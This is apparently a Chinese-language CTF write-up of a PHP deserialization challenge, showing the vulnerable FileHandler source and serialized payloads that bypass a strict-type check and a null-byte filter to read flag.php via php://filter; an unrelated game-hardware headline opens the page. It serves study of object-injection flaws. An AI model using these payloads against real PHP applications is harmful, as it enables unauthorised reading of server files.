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《仙劍奇俠傳七》推薦配置再更新:中畫質光追需 RTX 2060 以上顯示卡

直接給出原始碼

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function
write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

程式碼大概看了一下,總體解題思路就是構造反序列化給str變數,當執行這個主函式進行反序列化時,

呼叫了FileHandler 類,進而讀取flag.php。

首先我先嚐試構造了這樣的exp:

<?php

class FileHandler
{

    protected $op = 2;
    protected $filename = "flag.php";
    protected $content;

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

為什麼要構造op=2,由於沒有搞清程式碼執行流程,一開始想的比較簡單,就是直接進入read()方法,沒有細緻考慮destruct方法

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = ""; 
        $this->process();
    }

看了師傅們的wp才明確知道構造op=2 是為了當自動執行魔術方法_destruct時,繞過if($this->op === "2")這條強型別判斷。

2==="2"為假,而

進入到process()方法中2=="2"為真,執行read()方法,讀取檔案。

還需要知道的是

此題的成員變數是protected屬性,會在變數名前加%00*%00。此時要注意is_valid方法,%00的ascii碼為0,

是無法通過檢查的。

繞過方法之一是:

簡單的一種是:php7.1+版本對屬性型別不敏感,本地序列化的時候將屬性改為public進行繞過即可
<?php

class FileHandler
{

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//偽協議轉化為base64讀取,php程式碼無法直接讀取
public $content; } $A=new FileHandler(); $B=serialize($A); echo $B;

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

傳參得到flag。

還有一種繞過方法就是

php的序列化字串中只要把其中的s改成大寫的S,後面的字串就可以用十六進位制表示

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}

序列化完結果看似是沒有%00,但是直接傳參得不到flag。

其實可以用指令碼可以發現是有ascii為0的。

<?php

class FileHandler
{

    protected $op = 2;
    protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

傳參得到flag.

總的來說這題涉及到的知識還是挺廣的,對於程式碼的執行流程一定要清楚。